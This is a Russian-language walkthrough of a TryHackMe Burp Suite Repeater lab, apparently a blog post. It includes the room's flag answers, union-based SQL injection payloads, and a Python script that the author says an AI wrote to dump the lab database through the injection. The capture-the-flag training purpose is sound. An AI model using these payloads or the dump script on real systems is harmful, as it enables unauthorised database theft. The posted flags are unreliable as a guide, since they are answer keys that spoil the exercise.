  <p id="R9W6">Среди этих компонентов обычно можно изменять разделы, относящиеся к запросу, что позволяет добавлять, редактировать и удалять элементы. Например, в разделе <strong>«Атрибуты запроса</strong> » можно изменять элементы, связанные с местоположением, методом и протоколом запроса. Это включает в себя изменение требуемого ресурса для получения данных, изменение метода HTTP с GET на другой вариант или переключение протокола с HTTP /1 на HTTP /2.</p>
  <figure id="wMV3" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/4f3a0f3714ceebbd6016e077369b48e8.png" width="276" />
  </figure>
  <p id="SYpb">К другим разделам, доступным для просмотра и/или редактирования, относятся:</p>
  <ol id="CBrt">
    <li id="edrs"><strong>Параметры запроса:</strong> это данные, отправляемые на сервер через URL. Например, в GET-запросе, таком как &#x60;&lt;URL&gt;&#x60; <code>https://admin.tryhackme.com/?redirect=false</code>, параметр запроса &#x60; <strong>redirect&#x60;</strong> имеет значение &#x60;false&#x60;.</li>
    <li id="YIQS"><strong>Параметры тела запроса:</strong> Аналогично параметрам запроса, но специфичны для POST-запросов. Любые данные, отправленные в рамках POST-запроса, будут отображаться в этом разделе, что позволит нам изменить параметры перед повторной отправкой.</li>
    <li id="ak9Q"><strong>Запрос файлов cookie:</strong> В этом разделе представлен изменяемый список файлов cookie, отправляемых с каждым запросом.</li>
    <li id="Uxml"><strong>Заголовки запроса:</strong> Они позволяют нам просматривать, получать доступ и изменять (включая добавление или удаление) любые заголовки, отправляемые с нашими запросами. Редактирование этих заголовков может быть полезным при изучении того, как веб-сервер реагирует на неожиданные заголовки.</li>
    <li id="Ua4r"><strong>Заголовки ответа:</strong> В этом разделе отображаются заголовки, возвращаемые сервером в ответ на наш запрос. Изменить их невозможно, поскольку мы не контролируем заголовки, возвращаемые сервером. Обратите внимание, что этот раздел становится видимым только после отправки запроса и получения ответа.</li>
  </ol>
  <p id="LrZd">Хотя текстовое представление этих компонентов можно найти в представлениях «Запрос» и «Ответ», табличный формат Инспектора предоставляет удобный способ визуализации и взаимодействия с ними. Экспериментирование с добавлением, удалением и изменением заголовков в Инспекторе помогает понять, как изменяется соответствующая исходная версия в ответе.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iFFk">Вопрос: Какой раздел в Инспекторе отвечает именно за POST-запросы?</p>
    <p id="94fc">Ответ: <strong>Body Parameters</strong></p>
  </section>
  <h2 id="JzZl">6. Практический пример</h2>
  <p id="kdgF">Repeater особенно хорошо подходит для задач, требующих многократной отправки аналогичных запросов, как правило, с незначительными изменениями. Это особенно полезно для таких действий, как ручное тестирование на уязвимости SQL- инъекций (будет рассмотрено в следующем задании), попытки обойти фильтры брандмауэра веб-приложений или корректировка параметров при отправке формы.</p>
  <p id="Blzd">Начнём с предельно простого примера: использование Repeater для изменения заголовков запроса, отправляемого целевому объекту.</p>
  <p id="lw42">Перехватите запрос <code>http://10.49.156.244/</code>в модуле Proxy и отправьте его в Repeater.</p>
  <p id="PGyG">Отправьте запрос один раз из Repeater  —  в окне ответа вы должны увидеть исходный HTML-код запрошенной страницы.</p>
  <p id="zv9g">Попробуйте просмотреть это в одном из других режимов отображения (например, в шестнадцатеричном).</p>
  <p id="zFhq">С помощью инспектора (или вручную, если хотите) добавьте заголовок с именем <code>FlagAuthorised</code>и установите для него значение <code>True</code>, как показано ниже:</p>
  <p id="Fdcj">Добавлен заголовок с флагом FlagAuthorised.</p>
  <pre id="aWrd">GET / HTTP/1.1
Host: 10.49.156.244
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True
</pre>
  <figure id="Dx43" class="m_original">
    <img src="https://img1.teletype.in/files/8b/15/8b1529ad-a48c-425d-9068-ff61d2fc504e.png" width="1242" />
  </figure>
  <p id="LBCa">Вопрос: Какой флаг вы получаете?</p>
  <p id="KX8t">Ответ: THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi} </p>
  <h2 id="NaIH">7. Испытание</h2>
  <p id="SARj">В предыдущем задании мы продемонстрировали использование Repeater, добавив заголовок и отправив запрос. Это послужило наглядным примером использования Repeater. Теперь настало время для простого задания!</p>
  <p id="ZBkW">Для начала убедитесь, что перехват отключен в вашем модуле прокси<code>http://10.49.156.244/products/</code> , и перейдите по ссылке . Затем попробуйте нажать на некоторые из ссылок « <strong>Посмотреть больше»</strong> .</p>
  <p id="cwqh">Обратите внимание, что вас перенаправляет на числовой адрес (например, /products/3).</p>
  <p id="WJig">Цель состоит в том, чтобы проверить конечную точку, подтвердив существование числа, к которому вы хотите перейти, и убедившись, что это допустимое целое число. Однако следует учитывать, что может произойти, если эта конечная точка не будет должным образом проверена.</p>
  <figure id="UdDT" class="m_original">
    <img src="https://img3.teletype.in/files/e0/31/e03163e9-96cf-4017-92dc-52ad31272637.png" width="1626" />
  </figure>
  <p id="1pHa">пробуем -1 </p>
  <figure id="2lfr" class="m_original">
    <img src="https://img2.teletype.in/files/5f/18/5f18f91d-f7aa-4d69-8bee-4a8e24a352ea.png" width="1545" />
  </figure>
  <p id="YcCw">флаг </p>
  <figure id="kZrp" class="m_original">
    <img src="https://img4.teletype.in/files/3a/db/3adba876-aa4c-4b90-b7a9-6611e7cfeb4b.png" width="382" />
  </figure>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="n63t">Снова включите перехват и зафиксируйте запрос к одной из конечных точек числовых продуктов в модуле Proxy, а затем перенаправьте его в Repeater.</p>
    <p id="eGOm">Попробуйте добиться от сервера ошибки &quot;500 Internal Server Error&quot;, изменив число в конце запроса на &quot;экстремальные входные данные&quot;.</p>
    <p id="cpgd">Вопрос: Какой флаг вы получаете, когда вызываете ошибку 500 на конечной точке?</p>
    <p id="aavV">Ответ:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}</p>
  </section>
  <h2 id="0Hd3">8. Вызов «Преодолеть лишнюю милю»</h2>
  <h4 id="wL69">Вызов «Преодолеть лишнюю милю»</h4>
  <p id="8NJ4">Это задание предназначено для проверки ваших навыков в несколько более сложной, реальной ситуации с использованием Burp Repeater. Если вы обладаете опытом самостоятельного выполнения SQL- инъекции вручную, вы можете перейти к последнему вопросу и выполнить это задание вслепую. Однако, если вам потребуется помощь, ниже будет предоставлено подробное пошаговое руководство. ( ТАК И СДЕЛАЕМ)</p>
  <h4 id="Tsmb">Необходимые предварительные знания</h4>
  <p id="8NAx">Прежде чем приступить к выполнению этого задания, рекомендуется ознакомиться с принципами SQL- инъекций. Если вы еще этого не сделали, пожалуйста, посетите раздел, посвященный этой теме. Хотя будет предоставлено подробное пошаговое руководство, базовое понимание принципов <a href="https://tryhackme.com/jr/sqlinjectionlm" target="_blank">SQL</a> - <a href="https://tryhackme.com/jr/sqlinjectionlm" target="_blank">инъекций</a> окажется полезным для выполнения этого задания.</p>
  <h4 id="qpy7">Цель испытания</h4>
  <p id="sHzX">В этом задании ваша задача — выявить и использовать уязвимость типа Union SQL Injection, присутствующую в параметре ID конечной <code>/about/ID</code>точки. Используя эту уязвимость, вы должны осуществить атаку для получения информации о генеральном директоре, хранящейся в базе данных.</p>
  <h4 id="CpDE">Пошаговое руководство</h4>
  <p id="IYGD">Мы знаем, что существует уязвимость, и знаем, где она находится. Теперь нам просто нужно её использовать!</p>
  <p id="jwuM">Начнём с перехвата запроса <code>http://10.49.156.244/about/2</code>в Burp Proxy. После перехвата запроса отправьте его в Repeater, используя команду &#x60;send&#x60; <code>Ctrl + R</code>или щёлкнув правой кнопкой мыши и выбрав «Отправить в Repeater».</p>
  <p id="Bqo9">Теперь, когда наш запрос подготовлен, давайте подтвердим наличие уязвимости. Добавление одного апострофа ( <code>&#x27;</code>) обычно достаточно, чтобы сервер выдал ошибку при наличии простой SQL-инъекции, поэтому, используя Инспектор или отредактировав путь запроса вручную, добавьте апостроф после &quot;2&quot; в конце пути и отправьте запрос:</p>
  <p id="gv5F">Запрос заголовков из нашего браузера</p>
  <pre id="U8T7">GET /about/2 &#x27; HTTP/1.1
Хост: 10.49.156.244
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Соединение: закрыто
Запросы на обновление, небезопасные и некорректные: 1

</pre>
  <p id="UvTa">Вы должны увидеть, что сервер отвечает ошибкой &quot;500 Internal Server Error&quot;, что указывает на то, что мы успешно прервали выполнение запроса:</p>
  <p id="QN7b">Заголовки ответа от сервера</p>
  <pre id="oZlz">HTTP/1.1 500 INTERNAL SERVER ERROR&lt;
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101

</pre>
  <p id="UAcu">Если мы проанализируем тело ответа сервера, то примерно на 40-й строке увидим нечто очень интересное. Сервер сообщает нам, какой запрос мы пытались выполнить:</p>
  <p id="dK21">Чрезмерно подробное сообщение об ошибке, отображающее запрос.</p>
  <pre id="FybQ">&lt;h2&gt;
    &lt;code&gt;Invalid statement: 
        &lt;code&gt;SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2&#x27;&lt;/code&gt;
    &lt;/code&gt;
&lt;/h2&gt;</pre>
  <p id="bP7t">Это крайне полезное сообщение об ошибке, которое сервер ни в коем случае не должен нам отправлять, <em>но</em> тот факт, что оно у нас есть, значительно упрощает нашу работу.</p>
  <p id="A0HT">В сообщении содержится несколько важных сведений, которые окажутся бесценными при использовании этой уязвимости:</p>
  <ul id="qGOj">
    <li id="sOzU">Таблица базы данных, из которой мы выбираем данные, называется <code>people</code>.</li>
    <li id="0cRd">Запрос выбирает пять столбцов из таблицы: <code>firstName</code>, <code>lastName</code>, <code>pfpLink</code>, <code>role</code>, и <code>bio</code>. Мы можем предположить, где они будут расположены на странице, что будет полезно при выборе места для размещения наших запросов.</li>
  </ul>
  <p id="d3RI">Имея эту информацию, мы можем пропустить этапы перечисления номеров столбцов запроса и имен таблиц.</p>
  <p id="Eb6h">Хотя нам удалось значительно сократить количество необходимых здесь перечислений, нам все еще нужно найти название целевого столбца.</p>
  <p id="icST">Зная имя таблицы и количество строк, мы можем использовать объединенный запрос (UNION) для выбора имен столбцов таблицы <code>people</code>из <code>columns</code>таблицы в <code>information_schema</code>базе данных по умолчанию.</p>
  <p id="etiZ">Простой запрос для этого выглядит следующим образом:<br /><code>/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name=&quot;people&quot;</code></p>
  <p id="4FGr">Это создает объединенный запрос и выбирает целевой столбец, а затем четыре столбца со значением NULL (чтобы избежать ошибки запроса). Обратите внимание, что мы также изменили ID, из которого выбираем данные, <code>2</code>на <code>0</code>. Установив ID на недопустимое число, мы гарантируем, что не получим ничего с помощью исходного (легитимного) запроса; это означает, что первая строка, возвращенная из базы данных, будет желаемым ответом от внедренного запроса.</p>
  <p id="XSYO">Проанализировав полученный ответ, мы видим, что название первого столбца ( <code>id</code>) было вставлено в заголовок страницы:</p>
  <p id="cDvU">Название столбца &quot;id&quot; в заголовке ответа</p>
  <pre id="tP5U">HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360


&lt;!DOCTYPE html&gt;
&lt;html lang=en&gt;
    &lt;head&gt;
        &lt;title&gt;
            About | id None
        &lt;/title&gt;
-----</pre>
  <p id="iafR">Нам удалось успешно извлечь имя первого столбца из базы данных, но теперь возникла проблема. На странице отображается только первый совпадающий элемент  —  нам нужно увидеть все совпадающие элементы.</p>
  <p id="MYjJ">К счастью, мы можем использовать SQL-инъекцию для группировки результатов. Мы по-прежнему можем получать только один результат за раз, но, используя функцию <code>group_concat() </code>, мы можем объединить все имена столбцов в один результат:<br /><code>/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name=&quot;people&quot;</code></p>
  <p id="He1K">Этот процесс показан ниже:</p>
  <figure id="xJ24" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/78495a1c1c84ce8d80cba18c48d924eb.png" width="2426" />
  </figure>
  <p id="4Hzn">Мы успешно определили восемь столбцов в этой таблице: <code>id</code>, <code>firstName</code>, <code>lastName</code>, <code>pfpLink</code>, <code>role</code>, <code>shortRole</code>, <code>bio</code>, и <code>notes</code>.</p>
  <p id="I2UF">Учитывая поставленную задачу, кажется вполне вероятным, что целевым столбцом будет <code>notes</code>.</p>
  <p id="Gkbg">Наконец, мы готовы извлечь флаг из этой базы данных — у нас есть вся необходимая информация:</p>
  <ul id="WIzV">
    <li id="YCi3">Название таблицы: <code>people</code>.</li>
    <li id="a378">Название целевого столбца: <code>notes</code>.</li>
    <li id="Folw">Идентификатор генерального директора — <code>1</code>; его можно найти, просто щелкнув по профилю Джеймсона Вулфа на <code>/about/</code>странице и проверив идентификатор в URL-адресе.</li>
  </ul>
  <p id="6HdO">Давайте составим запрос для извлечения этого флага:<br /><code>0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1</code></p>
  <p id="aTPn">И вуаля, у нас есть флаг!</p>
  <figure id="6XRF" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/c036d3282f1ec33472c0042f5d9a9f36.png" width="2442" />
  </figure>
  <p id="Bs27">ОТ сюда начнем крутить скулю</p>
  <p id="QJXD">ставим &#x27; в запросе. и получаем 500</p>
  <figure id="jxj9" class="m_original">
    <img src="https://img2.teletype.in/files/9b/42/9b42ab4d-8196-40b4-8e31-19208b5a9f87.png" width="1456" />
  </figure>
  <p id="y8OQ">Проанализировав ответ видим запрос к бд</p>
  <figure id="kdq4" class="m_original">
    <img src="https://img2.teletype.in/files/db/81/db81e8b1-86c4-4e97-ba64-eb1de3642951.png" width="803" />
  </figure>
  <p id="NQC0">пробуем посмотреть колонки</p>
  <p id="8h3B">имя первого столбца из базы данных, но теперь возникла проблема. На странице отображается только первый совпадающий элемент  —  нам нужно увидеть все совпадающие элементы.</p>
  <figure id="M4uE" class="m_original">
    <img src="https://img3.teletype.in/files/e8/18/e8189279-078b-4428-a9cc-aad0a49d6d77.png" width="1155" />
  </figure>
  <p id="a8Nx">0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name=&quot;people&quot;</p>
  <figure id="Noes" class="m_original">
    <img src="https://img4.teletype.in/files/b3/42/b3421c1b-b21c-46fa-970e-09f75ba85861.png" width="1172" />
  </figure>
  <p id="SNxK">Получили id,firstName,lastName,pfpLink,role,shortRole,bio,notes</p>
  <p id="pAHk">Мы успешно определили восемь столбцов в этой таблице: <code>id</code>, <code>firstName</code>, <code>lastName</code>, <code>pfpLink</code>, <code>role</code>, <code>shortRole</code>, <code>bio</code>, и <code>notes</code>.</p>
  <p id="o54P">Учитывая поставленную задачу, кажется вполне вероятным, что целевым столбцом будет <code>notes</code>.</p>
  <p id="c5Hr">Наконец, мы готовы извлечь флаг из этой базы данных — у нас есть вся необходимая информация:</p>
  <ul id="mmLF">
    <li id="ex1r">Название таблицы: <code>people</code>.</li>
    <li id="i80X">Название целевого столбца: <code>notes</code>.</li>
    <li id="5n37">Идентификатор генерального директора — <code>1</code>; его можно найти, просто щелкнув по профилю Джеймсона Вулфа на <code>/about/</code>странице и проверив идентификатор в URL-адресе.</li>
  </ul>
  <p id="aGzQ">Давайте составим запрос для извлечения этого флага:<br /><code>0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1</code></p>
  <figure id="jwpi" class="m_original">
    <img src="https://img3.teletype.in/files/66/1a/661aa8be-2114-47ed-8040-8afa3d77b819.png" width="1106" />
  </figure>
  <p id="iZvm">попробуем еще получить название бд и все содержимое</p>
  <p id="Fn84">даем команду ИИ сделать нам скрипт который откроет нам всю бд</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Log5"><code>#!/usr/bin/env python3<br />&quot;&quot;&quot;<br />UNION-based SQL Injection exploitation script.<br />For educational / CTF lab use only.</code></p>
    <p id="sBsU"><code>Injection point:<br />  GET /about/0 UNION ALL SELECT &lt;col1&gt;,null,null,null,null [FROM ... WHERE ...]</code></p>
    <p id="mbdt"><code>The FROM/WHERE clause must go AFTER all five columns, not inside column 1.<br />&quot;&quot;&quot;</code></p>
    <p id="zwHr"><code>import requests<br />import re<br />import sys</code></p>
    <p id="zXaL"><code># ─── CONFIG ───────────────────────────────────────────────────────────<br />TARGET = &quot;http://10.49.156.244&quot;<br />TIMEOUT = 10<br />SEP = &quot;0x7C&quot;          # | — group_concat separator<br />ROW_SEP = &quot;0x0A&quot;      # \n<br />COL_SEP = &quot;0x203A20&quot;  # &#x27; : &#x27;</code></p>
    <p id="fIuk"><code>TITLE_RE = re.compile(r&quot;&lt;title&gt;\s*About \| (.+?) None\s*&lt;/title&gt;&quot;, re.DOTALL)<br />H1_RE = re.compile(r&#x27;&lt;h1[^&gt;]*&gt;(.+?) None&lt;/h1&gt;&#x27;, re.DOTALL)</code></p>
    <p id="4GTM"><code><br />def inject(select_expr: str, from_where: str = &quot;&quot;) -&gt; str:<br />    &quot;&quot;&quot;<br />    Build:  /about/0 UNION ALL SELECT {select_expr},null,null,null,null {from_where}<br />    &quot;&quot;&quot;<br />    path = f&quot;/about/0 UNION ALL SELECT {select_expr},null,null,null,null&quot;<br />    if from_where:<br />        path += f&quot; {from_where}&quot;<br />    url = TARGET + path<br />    r = requests.get(url, timeout=TIMEOUT)<br />    for regex in (TITLE_RE, H1_RE):<br />        m = regex.search(r.text)<br />        if m:<br />            return m.group(1).strip()<br />    return &quot;&quot;</code></p>
    <p id="idKf"><code><br />def banner(msg: str):<br />    print(f&quot;\n{&#x27;=&#x27; * 60}\n  {msg}\n{&#x27;=&#x27; * 60}&quot;)</code></p>
    <p id="fzjA"><code><br />def main():<br />    # ── 1. Current database ──────────────────────────────────────<br />    banner(&quot;CURRENT DATABASE&quot;)<br />    db = inject(&quot;database()&quot;)<br />    print(f&quot;  [+] {db}&quot;)<br />    if not db:<br />        sys.exit(&quot;[!] Could not retrieve DB name.&quot;)</code></p>
    <p id="KU8k"><code>    # ── 2. All databases ─────────────────────────────────────────<br />    banner(&quot;ALL DATABASES&quot;)<br />    dbs = inject(<br />        f&quot;group_concat(schema_name SEPARATOR {SEP})&quot;,<br />        &quot;FROM information_schema.schemata&quot;<br />    )<br />    for d in dbs.split(&quot;|&quot;):<br />        marker = &quot; &lt;&lt;&lt;&quot; if d.strip() == db else &quot;&quot;<br />        print(f&quot;  - {d.strip()}{marker}&quot;)</code></p>
    <p id="xz8Y"><code>    # ── 3. Tables in current DB ──────────────────────────────────<br />    banner(f&quot;TABLES IN &#x60;{db}&#x60;&quot;)<br />    tables_raw = inject(<br />        f&quot;group_concat(table_name SEPARATOR {SEP})&quot;,<br />        f&#x27;FROM information_schema.tables WHERE table_schema=&quot;{db}&quot;&#x27;<br />    )<br />    tables = [t.strip() for t in tables_raw.split(&quot;|&quot;) if t.strip()]<br />    for t in tables:<br />        print(f&quot;  - {t}&quot;)<br />    if not tables:<br />        sys.exit(&quot;[!] No tables found.&quot;)</code></p>
    <p id="HdfM"><code>    # ── 4. For each table: columns + dump ────────────────────────<br />    for table in tables:<br />        # 4a. Columns<br />        banner(f&quot;COLUMNS IN &#x60;{table}&#x60;&quot;)<br />        cols_raw = inject(<br />            f&quot;group_concat(column_name SEPARATOR {SEP})&quot;,<br />            f&#x27;FROM information_schema.columns WHERE table_schema=&quot;{db}&quot; AND table_name=&quot;{table}&quot;&#x27;<br />        )<br />        columns = [c.strip() for c in cols_raw.split(&quot;|&quot;) if c.strip()]<br />        for c in columns:<br />            print(f&quot;  - {c}&quot;)</code></p>
    <p id="sAx7"><code>        if not columns:<br />            print(&quot;  [!] No columns — skipping dump.&quot;)<br />            continue</code></p>
    <p id="odru"><code>        # 4b. Dump rows<br />        banner(f&quot;DATA IN &#x60;{table}&#x60;&quot;)<br />        col_expr = &quot;concat_ws(&quot; + COL_SEP + &quot;,&quot; + &quot;,&quot;.join(columns) + &quot;)&quot;<br />        data = inject(<br />            f&quot;group_concat({col_expr} SEPARATOR {ROW_SEP})&quot;,<br />            f&quot;FROM &#x60;{db}&#x60;.&#x60;{table}&#x60;&quot;<br />        )<br />        if data:<br />            header = &quot; : &quot;.join(columns)<br />            print(f&quot;  {header}&quot;)<br />            print(f&quot;  {&#x27;-&#x27; * len(header)}&quot;)<br />            for i, row in enumerate(data.split(&quot;\n&quot;), 1):<br />                print(f&quot;  [{i:&gt;3}] {row}&quot;)<br />        else:<br />            print(&quot;  (empty)&quot;)</code></p>
    <p id="CWGx"><code>    print(f&quot;\n{&#x27;=&#x27; * 60}\n  DONE\n{&#x27;=&#x27; * 60}\n&quot;)</code></p>
    <p id="BLLy"><code><br />if __name__ == &quot;__main__&quot;:<br />    main()</code></p>
  </section>
  <p id="BSrE">Получаем всю бд</p>
  <figure id="e4ds" class="m_original">
    <img src="https://img3.teletype.in/files/60/05/60059cfa-d214-4c62-9db4-b718d16edbca.png" width="1012" />
  </figure>
  <figure id="y56y" class="m_original">
    <img src="https://img2.teletype.in/files/55/66/5566606c-0256-4f02-9047-0ddf359a99b7.png" width="1024" />
  </figure>
  <p id="R25U">Скрипт отработал отлично — вся БД извлечена. Вот краткая сводка:</p>
  <p id="EDE0"><strong>База данных:</strong> <code>site</code> <strong>Таблица:</strong> <code>people</code> (8 колонок, 6 строк)</p>
  <p id="KnAF"><strong>Флаг</strong> найден в колонке <code>notes</code> у CEO (id=1):</p>
  <pre id="jY7M">THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}</pre>
  <p id="54Mg">Это запись Jameson Wolfe — Co-Founder &amp; CEO, как и требовалось по заданию. У остальных сотрудников поле <code>notes</code> пустое.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="irCh">Вопрос: Воспользуйтесь уязвимостью SQL-инъекции типа union на сайте.</p>
    <p id="RxNz">Ответ: THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}</p>
  </section>
  <h2 id="xLSu">9. Заключение</h2>
  <p id="4huG">Поздравляем с завершением обустройства комнаты Burp Suite Repeater!</p>
  <p id="lAsw">К этому моменту у вас должно быть четкое понимание того, как эффективно использовать Repeater для редактирования, обработки и повторной отправки запросов. Кроме того, вы должны были получить представление о многочисленных практических применениях этого инструмента.</p>
  <p id="men7">В следующем зале модуля мы рассмотрим модуль Burp Suite Intruder. Intruder позволяет проводить автоматизированные и настраиваемые атаки, что делает его мощным инструментом для различных сценариев тестирования безопасности.</p>
  <p id="cnZN">Удачи в следующей комнате и приятного изучения возможностей <a href="https://tryhackme.com/room/burpsuiteintruder" target="_blank">Burp Suite Intruder</a> !</p>
  <figure id="dVsm" class="m_original">
    <img src="https://img1.teletype.in/files/0b/34/0b3437d0-de01-4e84-ac55-6f288d7905dd.png" width="924" />
  </figure>
  <hr />
  <p id="viwo"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item></channel></rss>